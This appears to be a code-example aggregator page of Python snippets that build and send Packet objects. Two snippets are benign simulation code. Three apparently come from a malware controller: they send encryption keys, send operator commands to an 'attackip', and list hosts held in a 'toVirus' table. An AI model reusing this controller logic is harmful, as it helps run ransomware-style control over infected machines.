Ejemplo n.º 1
0
    def onGeneratePacket(self):
        print("%0.3f: node %s: on generate_packet" % (globals.now, self.id))
        str = "original packet %s" % (self.id)
        dst_mac = self.target_mac
        dst_ip = self.target_ip
        packet = Packet(self.id, 255, self.x, self.y, dst_mac, dst_ip,
                        self.mac, self.ip, self.channel, 10, str,
                        "TYPE_ORIGINAL")
        packet.length = 1500
        packet.phy_speed = 250 * 1000
        packet.seq = self.seq
        self.seq += 1
        if len(self.packet_queue) < 10:
            self.packet_queue.append(packet)

        if self.state == "STATE_LISTENING":
            self.checkRemainingPacket()
        elif self.state == "STATE_BACKOFF":
            pass
        elif self.state == "STATE_SENDING":
            pass
        elif self.state == "STATE_RECEIVING":
            pass
        else:
            print("not implemented state: %s" % self.state)
            sys.exit()

        t = globals.now + self.one_lambda * rand() * 2
        event = Event(t, self.onGeneratePacket)
        globals.events.append(event)
Ejemplo n.º 2
0
 def sendAESKey(self):
     pkt = Packet()
     pkt.state = '100'
     pkt.toIP = ''
     pkt.returnIP = 'MRS'
     pkt.data = self.key
     pkt.RSAEncryptData(self.RSAPublicKey)
     pkt.length = len(pkt.data)
     self.messageQ.put(pkt)
Ejemplo n.º 3
0
def send(client):
    cmd = raw_input("Enter command: ")
    pkt = Packet()
    pkt.toIP = attackip
    pkt.state = cmd
    if pkt.state == "147":
        base = "C:\Users\Matt\Desktop\\testfolder"
        path = base + "\\" + pkt.toIP + "-encryptionkey"
        try:
            f = open(path,"rb")
            pkt.data = f.read()
            pkt.length = len(pkt.data)
        except:
            print "no encryption key found"
    pkt.send(client)
Ejemplo n.º 4
0
    def sendIPList(self,address=""):
        state = "100"
        ips = self.toVirus.keys()
        data = ""
        for ip in ips:
            data += ip + ":" + self.toVirus[ip][2]
        length = len(data)

        pkt = Packet()
        pkt.state = state
        pkt.length = str(length)
        pkt.data = data
        pkt.encryptData(self.AESKey)
        print "IPList: " + data
        if address != "":
            pkt.returnIP = address[0]
            self.enqueueToClient(pkt)
        else:
            for ip in self.toClient.keys():
                self.enqueueToClient(pkt,ip)
    def transmit_pkt(self):
        pkt = Packet()

        pkt.TxPwr = 16.02 #dBm
        pkt.length = self.txv.length
        pkt.CBW = self.txv.BW
        pkt.STBC = self.txv.STBC

        if self.ta is None:
           pkt.MCS = self.txv.MCS
           pkt.Ntx = self.txv.Ntx
           pkt.Mode = self.txv.Mode
        else:
           selected_rate = self.ta.select_rate(pkt)
           pkt.MCS = selected_rate['mcs']
           pkt.Mode = selected_rate['mode']
           mode = pkt.Mode.split()
           ntxbynrx = mode[1]
           pkt.Ntx = int(ntxbynrx[0])
        return pkt